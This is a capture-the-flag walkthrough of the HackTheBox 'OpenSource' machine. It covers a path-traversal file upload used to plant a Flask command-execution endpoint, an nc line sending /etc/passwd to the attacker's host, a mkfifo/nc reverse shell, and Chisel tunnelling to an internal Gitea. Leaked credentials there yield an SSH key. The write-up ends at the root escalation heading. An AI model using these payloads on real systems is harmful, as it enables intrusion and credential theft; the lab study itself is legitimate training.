Walk-through of OpenSource from HackTheBox
OpenSource is an easy level machine by irogir on HackTheBox. It focuses on applications, containers and working with git.
Machine Information
We start by looking at an opensource web application used to upload files. The source files are available and after a code review of them we find a path traversal vulnerability. Using that we add a new endpoint to the Flask app and use that to gain code execution. This gets us to a shell inside a container, which we use Chisel to create a reverse tunnel back to Kali. Trough that tunnel we find Gitea, and with credentials found earlier we get a users private ssh keys. From there escalation to root is a trivial process of exploiting git pre-commits.
Details | |
---|---|
Hosting Site | HackTheBox |
Link To Machine | HTB - Easy - OpenSource |
Machine Release Date | 21st May 2022 |
Date I Completed It | 11th June 2022 |
Distribution Used | Kali 2022.1 – Release Info |
Initial Recon
As always let’s start with Nmap:
┌──(root㉿kali)-[~/htb/opensource]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.164 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
┌──(root㉿kali)-[~/htb/opensource]
└─# nmap -p$ports -sC -sV -oA opensource 10.10.11.164
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-27 16:32 BST
Nmap scan report for 10.10.11.164
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Fri, 27 May 2022 15:32:47 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| Connection: close
|_
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 99.43 seconds
upcloud Website
Starting place as is often the way will be a website on port 80:
Not a lot on this site. Scroll down to the bottom to see two links that do work:
Download let’s us get the source for the site. Take me there! let’s you try uploading files. Let’s start by looking at the source code. With this being CTF we can assume we’re looking for a vulnerability to be able to upload a file of our choosing.
Grab the file and unzip it:
┌──(root㉿kali)-[~/htb/opensource]
└─# wget http://10.10.11.164/download -O source.zip
--2022-05-27 16:44:50-- http://10.10.11.164/download
Connecting to 10.10.11.164:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2489147 (2.4M) [application/zip]
Saving to: ‘source.zip’
source.zip 100%[==============>] 2.37M 543KB/s in 4.8s
2022-05-27 16:44:55 (509 KB/s) - ‘source.zip’ saved [2489147/2489147]
──(root㉿kali)-[~/htb/opensource]
└─# unzip source.zip
Archive: source.zip
creating: app/
creating: app/app/
inflating: app/app/views.py
inflating: app/app/__init__.py
creating: app/app/static/
creating: app/app/static/js/
inflating: app/app/static/js/script.js
inflating: app/app/static/js/ie10-viewport-bug-workaround.js
creating: app/app/static/vendor/
creating: app/app/static/vendor/bootstrap/
creating: app/app/static/vendor/bootstrap/js/
<SNIP>
inflating: Dockerfile
creating: .git/
creating: .git/branches/
inflating: .git/description
inflating: .git/config
creating: .git/info/
inflating: .git/info/exclude
creating: .git/objects/
creating: .git/objects/01/
extracting: .git/objects/01/c76bb30cbd05b810719576d79b5535a56475f1
creating: .git/objects/11/
extracting: .git/objects/11/3af9958c392c6d0212475bf4c7581aff34e857
creating: .git/objects/85/
<SNIP>
inflating: .git/index
creating: .git/logs/
inflating: .git/logs/HEAD
creating: .git/logs/refs/
creating: .git/logs/refs/heads/
inflating: .git/logs/refs/heads/public
inflating: .git/logs/refs/heads/dev
There’s a lot of files in there. The interesting ones are a Dockerfile, and a .git repo. So we know the website is running in a docker container, and we have a git repo to explore.
GitTools
First install GitTools and then use it to extra the Git repo:
┌──(root㉿kali)-[~/htb/opensource]
└─# git clone https://github.com/internetwache/GitTools
Cloning into 'GitTools'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (26/26), done.
remote: Total 242 (delta 9), reused 14 (delta 4), pack-reused 209
Receiving objects: 100% (242/242), 56.48 KiB | 876.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.
┌──(root㉿kali)-[~/htb/opensource]
└─# GitTools/Extractor/extractor.sh . extracted
'###########
# Extractor is part of https://github.com/internetwache/GitTools
# Developed and maintained by @gehaxelt from @internetwache
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########'
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: c41fedef2ec6df98735c11b2faf1e79ef492a0f3
[+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/.gitignore
[+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/Dockerfile
[+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app
[+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/INSTALL.md
[+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app
[+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/__init__.py
[+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/configuration.py
[+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static
[+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/css
[+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/css/style.css
[+] Found folder: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/js
[+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/js/ie10-viewport-bug-workaround.js
[+] Found file: /root/htb/opensource/extracted/0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3/app/app/static/js/script.js
<SNIP>
[+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/templates/index.html
[+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/templates/success.html
[+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/templates/upload.html
[+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/utils.py
[+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/app/views.py
[+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/app/run.py
[+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/build-docker.sh
[+] Found folder: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/config
[+] Found file: /root/htb/opensource/extracted/4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9/config/supervisord.conf
Code Review
There’s a lot of files. Looking in the extracted folder we see an initial commit, and then four more which probably have changes:
┌──(root㉿kali)-[~/htb/opensource/extracted]
└─# ll
total 20
drwxr-xr-x 4 root root 4096 May 27 17:05 0-c41fedef2ec6df98735c11b2faf1e79ef492a0f3
drwxr-xr-x 4 root root 4096 May 27 17:05 1-be4da71987bbbc8fae7c961fb2de01ebd0be1997
drwxr-xr-x 4 root root 4096 May 27 17:05 2-ee9d9f1ef9156c787d53074493e39ae364cd1e05
drwxr-xr-x 4 root root 4096 May 27 17:05 3-a76f8f75f7a4a12b706b0cf9c983796fa1985820
drwxr-xr-x 4 root root 4096 May 27 17:05 4-2c67a52253c6fe1f206ad82ba747e43208e8cfd9
We can use git log to see the commit comments:
┌──(root㉿kali)-[~/htb/opensource/extracted]
└─# git log --pretty=oneline
2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public) clean up dockerfile for production use
ee9d9f1ef9156c787d53074493e39ae364cd1e05 initial
We can use git diff to see what has changed between commits:
┌──(root㉿kali)-[~/htb/opensource/extracted]
└─# git diff ee9d9f1ef9156c787d53074493e39ae364cd1e05 a76f8f75f7a4a12b706b0cf9c983796fa1985820
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+ "http.proxyStrictSSL": false
+}
diff --git a/app/app/views.py b/app/app/views.py
index f2744c6..0f3cc37 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,7 +6,17 @@ from flask import render_template, request, send_file
from app import app
-@app.route('/', methods=['GET', 'POST'])
+@app.route('/')
+def index():
+ return render_template('index.html')
+
+
+@app.route('/download')
+def download():
+ return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
+
+
+@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
@@ -20,4 +30,4 @@ def upload_file():
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
- return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
\ No newline at end of file
+ return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
The above shows a number of changes to the views.py file. This line looks like credentials of some sort:
+ "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
We don’t know what they are for yet, but looking at other commits there are more changes to views.py. So let’s have a look at the file that is in the live folder instead of these in the git repo:
┌──(root㉿kali)-[~/htb/opensource/app/app]
└─# ll
total 24
-rw-rw-r-- 1 root root 332 Apr 28 12:34 configuration.py
-rw-rw-r-- 1 root root 262 Apr 28 12:34 __init__.py
drwxrwxr-x 5 root root 4096 Apr 28 12:39 static
drwxrwxr-x 2 root root 4096 Apr 28 12:34 templates
-rw-rw-r-- 1 root root 816 Apr 28 12:34 utils.py
-rw-rw-r-- 1 root root 707 Apr 28 13:50 views.py
Here I’ve moved out of the .git folder and in to the app folder. Let’s look at views.py:
┌──(root㉿kali)-[~/htb/opensource/app/app]
└─# cat views.py
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
This file contains the code handling the uploading of files. The important line is this one:
file_name = get_file_name(f.filename)
The get_file_name function is imported from the utils.py file:
┌──(root㉿kali)-[~/htb/opensource/app/app]
└─# cat utils.py
import time
def current_milli_time():
return round(time.time() * 1000)
"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Recursively replace a pattern in a string
"""
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
We can see in here that there is a basic check for directory traversal, and if ../ is found then it will be removed. However when this is passed back to the upload file function no further checks are done so we can intercept using Burp.
After some playing around I found I can alter the views.py file to add my own code to it. Then I can use that to get command execution.
This is a Flask app so a search on how to create an execute code function found this:
@app.route('/exec')
def runcmd():
try:
return os.system(request.args.get('cmd'))
except:
return "Exit"
Exploit Flask App
Go back to the upload section on the website and browse to the local copy of views.py we have from the download we looked at earlier:
Have Burp ready to intercept and then click Upload!, now switch to Burp:
Add the exec function we found above to the bottom of the file:
Now change the path the file will be uploaded to:
We can’t get any output from commands on the webpage, but we can point to our Kali. Let’s try pinging ourselves first:
┌──(root㉿kali)-[~/htb/opensource]
└─# tcpdump icmp -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Here we have a listener on Kali waiting for imcp packets. Back to the box and try to ping us with this which I’ve URL encoded:
ping+-c+4+10.10.14.116
Use our new /exec function with the cmd parameter we created:
Ignore the error on the webpage. Looking back at Kali we see it worked:
┌──(root㉿kali)-[~/htb/opensource]
└─# tcpdump icmp -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:16:59.874732 IP 10.10.11.164 > 10.10.14.116: ICMP echo request, id 95, seq 0, length 64
18:16:59.874764 IP 10.10.14.116 > 10.10.11.164: ICMP echo reply, id 95, seq 0, length 64
18:17:00.871273 IP 10.10.11.164 > 10.10.14.116: ICMP echo request, id 95, seq 1, length 64
18:17:00.871292 IP 10.10.14.116 > 10.10.11.164: ICMP echo reply, id 95, seq 1, length 64
18:17:01.871263 IP 10.10.11.164 > 10.10.14.116: ICMP echo request, id 95, seq 2, length 64
18:17:01.871278 IP 10.10.14.116 > 10.10.11.164: ICMP echo reply, id 95, seq 2, length 64
18:17:02.871875 IP 10.10.11.164 > 10.10.14.116: ICMP echo request, id 95, seq 3, length 64
18:17:02.871891 IP 10.10.14.116 > 10.10.11.164: ICMP echo reply, id 95, seq 3, length 64
How about we grab the passwd file by using nc to redirect the file to us:
nc+-nv+10.10.14.116+4444+<+/etc/passwd
Start nc listening on Kali ready to receive the file:
┌──(root㉿kali)-[~/htb/opensource]
└─# nc -nlvp 4444 > passwd
listening on [any] 4444 ...
Paste the URL encoded command in to the browser as before:
Back to Kali again to see we have the file:
┌──(root㉿kali)-[~/htb/opensource]
└─# nc -nlvp 4444 > passwd
listening on [any] 4444 ...
connect to [10.10.14.116] from (UNKNOWN) [10.10.11.164] 38679
Let’s check it out:
┌──(root㉿kali)-[~/htb/opensource]
└─# cat passwd
root:x:0:0:root:/root:/bin/ash
<SNIP>
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
Time for a reverse shell. This is just like we did in Nunchucks recently, so let’s use the same one:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.163 1337 >/tmp/f
URL encode it first, we can use Python to do that:
┌──(root㉿kali)-[~/htb/opensource]
└─# python3 -c "import urllib.parse; print(urllib.parse.quote('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.163 1337 >/tmp/f'))"
rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/sh%20-i%202%3E%261%7Cnc%2010.10.14.184%201337%20%3E/tmp/f
Now add it as a parameter on the /exec endpoint like we did before and paste in the browser:
Shell To Container
Switch to a waiting nc listener to see we have a shell connected:
┌──(root㉿kali)-[~/htb/opensource]
└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.163] from (UNKNOWN) [10.10.11.164] 41543
/app #
A quick look at root shows us we’re in a docker container:
/app # ls -lsa /
total 72
4 drwxr-xr-x 1 root root 4096 Jun 7 19:02 .
4 drwxr-xr-x 1 root root 4096 Jun 7 19:02 ..
0 -rwxr-xr-x 1 root root 0 Jun 7 19:02 .dockerenv
8 drwxr-xr-x 1 root root 4096 May 4 16:35 app
4 drwxr-xr-x 1 root root 4096 Mar 17 05:52 bin
0 drwxr-xr-x 5 root root 340 Jun 7 19:02 dev
We can confirm with a little enumeration:
/app # arp
? (172.17.0.1) at 02:42:71:1c:b4:47 [ether] on eth0
/app # route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 172.17.0.1 0.0.0.0 UG 0 0 0 eth0
172.17.0.0 * 255.255.0.0 U 0 0 0 eth0
/app # netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7/python
tcp 0 54 172.17.0.5:41543 10.10.14.163:1337 ESTABLISHED 543/nc
tcp 0 0 172.17.0.5:80 10.10.14.163:58108 ESTABLISHED 527/python
tcp 0 0 172.17.0.5:80 172.17.0.1:53770 TIME_WAIT -
/app # ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:05
inet addr:172.17.0.5 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:845 errors:0 dropped:0 overruns:0 frame:0
TX packets:803 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:74639 (72.8 KiB) TX bytes:412353 (402.6 KiB)
So the container we are insides IP is 172.17.0.5. The host IP is 172.17.0.1, which is probably the internal IP of the main box on 10.10.11.164.
Port Enumeration
On our original nmap scan we saw port 3000 was being filtered. With us now inside the network we can try and scan from there to see if we can get to that port. For that we can do a simple bash loop, but we are in a Busybox shell not a bash one so the commands are slightly different. I found this which helped me get the right syntax using nc in a loop:
We can scan all ports like this:
i=1
max=65535
while [ $i -lt $max ]
do
echo "Port: $i"
nc -w 1 -v 172.17.0.1 $i </dev/null; echo $?
true $(( i++ ))
done
It takes a while, but here’s the ports we’re interested in:
Port: 22
172.17.0.1 (172.17.0.1:22) open
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
0
Port: 23
1
<SNIP>
Port: 79
1
Port: 80
172.17.0.1 (172.17.0.1:80) open
0
<SNIP>
Port: 2999
1
Port: 3000
172.17.0.1 (172.17.0.1:3000) open
0
This confirms port 22, 80 and 3000 are open and accessible from this container. Let’s have a look what’s on port 80:
/app # wget 172.17.0.1:80
Connecting to 172.17.0.1:80 (172.17.0.1:80)
saving to 'index.html'
index.html 100% |**************************| 5316 0:00:00 ETA
'index.html' saved
/app # head index.html
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>upcloud - Upload files for Free!</title>
<script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
<script src="/static/vendor/popper/popper.min.js"></script>
<script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
We can see the original site where we uploaded our initial file is on port 80. Now look at port 3000:
/app # wget 172.17.0.1:3000
Connecting to 172.17.0.1:3000 (172.17.0.1:3000)
saving to 'index.html'
index.html 100% |***********************| 13414 0:00:00 ETA
'index.html' saved
/app # head index.html
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL29wZW5zb3VyY2UuaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9vcGVuc291cmNlLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vb3BlbnNvdXJjZS5odGI6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"/>
<meta name="theme-color" content="#6cc644">
<meta name="default-theme" content="auto" />
<meta name="author" content="Gitea - Git with a cup of tea" />
/app #
And we can see port 3000 gives us access to Gitea, which is the default port it uses when installed.
Chisel
We can’t interact with Gitea from this command line so let’s use Chisel to create a reverse proxy like we did with Wreath over on TryHackMe.
If you need a good primer on Chisel then 0xdf has a good article here here.
First grab the latest version:
──(root㉿kali)-[~/htb/opensource]
└─# wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
--2022-06-07 22:38:39-- https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/31311037/ba3e7fe5-01fc-4b0c-b8eb-1b3a4c8eb61f?X-Amz-Algorithm=AWS4-HMAC-SHA256&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3234355 (3.1M) [application/octet-stream]
Saving to: ‘chisel_1.7.7_linux_amd64.gz’
chisel_1.7.7_linux_amd64.gz 100%[============>] 3.08M 16.9MB/s in 0.2s
2022-06-07 22:38:40 (16.9 MB/s) - ‘chisel_1.7.7_linux_amd64.gz’ saved [3234355/3234355]
┌──(root㉿kali)-[~/htb/opensource]
└─# gunzip chisel_1.7.7_linux_amd64.gz
Start Chisel on Kali listening on port 4444 and with reverse port forwarding enabled:
┌──(root㉿kali)-[~/htb/opensource]
└─# ./chisel_1.7.7_linux_amd64 server --reverse --port 4444
2022/06/08 22:09:18 server: Reverse tunnelling enabled
2022/06/08 22:09:18 server: Fingerprint 8ymq6peW4qfi+AJoA9KllYq7DGw0+LFnmbqIuXNpJ4k=
2022/06/08 22:09:18 server: Listening on http://0.0.0.0:4444
2022/06/08 22:11:01 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Now start a web server so we can pull that file over to our target box:
┌──(root㉿kali)-[~/htb/opensource]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Switch back to our shell on the box, grab the file and start Chisel in client mode:
/app # cd /tmp
/tmp # wget http://10.10.14.166:8000/chisel_1.7.7_linux_amd64
Connecting to 10.10.14.166:8000 (10.10.14.166:8000)
saving to 'chisel_1.7.7_linux_amd64'
chisel_1.7.7_linux_a 12% |*** | 955k 0:00:07 ETA
chisel_1.7.7_linux_a 42% |************* | 3329k 0:00:02 ETA
chisel_1.7.7_linux_a 72% |*********************** | 5680k 0:00:01 ETA
chisel_1.7.7_linux_a 100% |********************************| 7888k 0:00:00 ETA
'chisel_1.7.7_linux_amd64' saved
/tmp # chmod +x chisel_1.7.7_linux_amd64
/tmp # ./chisel_1.7.7_linux_amd64 client 10.10.14.166:4444 R:socks
2022/06/08 21:11:01 client: Connecting to ws://10.10.14.166:4444
2022/06/08 21:11:01 client: Connected (Latency 20.715259ms)
Here we’ve told Chisel to connect to Kali on IP 10.10.14.166 port 4444. The R:socks options is used for the reverse connection. See the Chisel man page here:
When the chisel server has --reverse enabled, remotes can
be prefixed with R to denote that they are reversed. That
is, the server will listen and accept connections, and they
will be proxied through the client which specified the remote.
Reverse remotes specifying "R:socks" will listen on the server's
default socks port (1080) and terminate the connection at the
client's internal SOCKS5 proxy.
To be able to tunnel TCP commands on Kali through Chisel to the box we need to use proxychains. One last thing to do is add our socks5 proxy address mentioned above in to our proxychains config file so it knows which local port to direct the traffic to:
┌──(root㉿kali)-[~/htb/opensource/extracted]
└─# cp /etc/proxychains4.conf /etc/proxychains.conf
Copy the conf file and then add our socks5 line at the end:
┌──(root㉿kali)-[~/htb/opensource/extracted]
└─# cat /etc/proxychains.conf
# proxychains.conf VER 4.x
#
# HTTP, SOCKS4a, SOCKS5 tunneling proxifier with DNS.
# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
<SNIP>
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
RustScan
We can now use proxychains with our reverse proxy tunnel provided by Chisel. For another bit of practice let’s use Rustscan to look for open ports. This time we’re doing it from Kali.
Download it and install if needed:
┌──(root㉿kali)-[~/htb/opensource]
└─# wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
--2022-06-08 22:19:56-- https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/278933035
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.110.133, 185.199.111.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1460806 (1.4M) [application/octet-stream]
Saving to: ‘rustscan_2.0.1_amd64.deb’
rustscan_2.0.1_amd64.deb 100%[===================================================================>] 1.39M --.-KB/s in 0.1s
2022-06-08 22:19:57 (13.5 MB/s) - ‘rustscan_2.0.1_amd64.deb’ saved [1460806/1460806]
┌──(root㉿kali)-[~/htb/opensource]
└─# dpkg -i rustscan_2.0.1_amd64.deb
Selecting previously unselected package rustscan.
(Reading database ... 293238 files and directories currently installed.)
Preparing to unpack rustscan_2.0.1_amd64.deb ...
Unpacking rustscan (2.0.0) ...
Setting up rustscan (2.0.0) ...
Processing triggers for kali-menu (2021.4.2) ...
Now use it to scan those ports we’ve confirmed are open:
┌──(root㉿kali)-[~/htb/opensource]
└─# proxychains4 rustscan -a 172.17.0.1 -p 22,80,3000
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:1 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:2 <--socket error or timeout!
<SNIP>
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:22 ... OK
<SNIP>
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:80 ... OK
<SNIP>
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:3000 ... OK
Open 172.17.0.1:22
Open 172.17.0.1:80
Open 172.17.0.1:3000
That’s proved we can get to those ports from Kali via Chisel, through the container on IP 172.17.0.5 and across to the internal IP of the box on 172.17.0.1.
Gitea
Let’s have a look at Gitea on port 3000. First set a Proxy on FireFox, I use FoxyProxy:
Now we can browse to the website:
I played around a little, created my own login, etc, but to proceed we need to use those credentials we found earlier in the git commit:
dev01:Soulless_Developer#2022
Log in with them:
The dashboard shows us the last few things the user did:
That repo called home-backup sounds suspicious so let’s have a look:
It’s the users /home folder, let’s look in .ssh:
We have their ssh keys, let’s copy the id_rsa file containing the private key:
Paste it in to a file on Kali and change permissions:
┌──(root㉿kali)-[~/htb/opensource]
└─# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAqdAaA6cYgiwKTg/6SENSbTBgvQWS6UKZdjrTGzmGSGZKoZ0l
xfb28RAiN7+yfT43HdnsDNJPyo3U1YRqnC83JUJcZ9eImcdtX4fFIEfZ8OUouu6R
u2TPqjGvyVZDj3OLRMmNTR/OUmzQjpNIGyrIjDdvm1/Hkky/CfyXUucFnshJr/BL
7FU4L6ihII7zNEjaM1/d7xJ/0M88NhS1X4szT6txiB6oBMQGGolDlDJXpe<SNIP>
┌──(root㉿kali)-[~/htb/opensource]
└─# chmod 600 id_rsa
SSH As User dev01
Now we can ssh in as the dev01 user:
┌──(root㉿kali)-[~/htb/opensource]
└─# ssh -i id_rsa dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
System information as of Wed Jun 8 22:19:55 UTC 2022
System load: 0.0 Processes: 279
Usage of /: 75.4% of 3.48GB Users logged in: 1
Memory usage: 38% IP address for eth0: 10.10.11.164
Swap usage: 0% IP address for docker0: 172.17.0.1
Last login: Wed Jun 8 22:11:09 2022 from 10.10.14.112
dev01@opensource:~$
Let’s grab the user flag before we move on:
dev01@opensource:~$ cat user.txt
d9369780ee9ac6d706603da08e0dc7d9
Escalation To Root
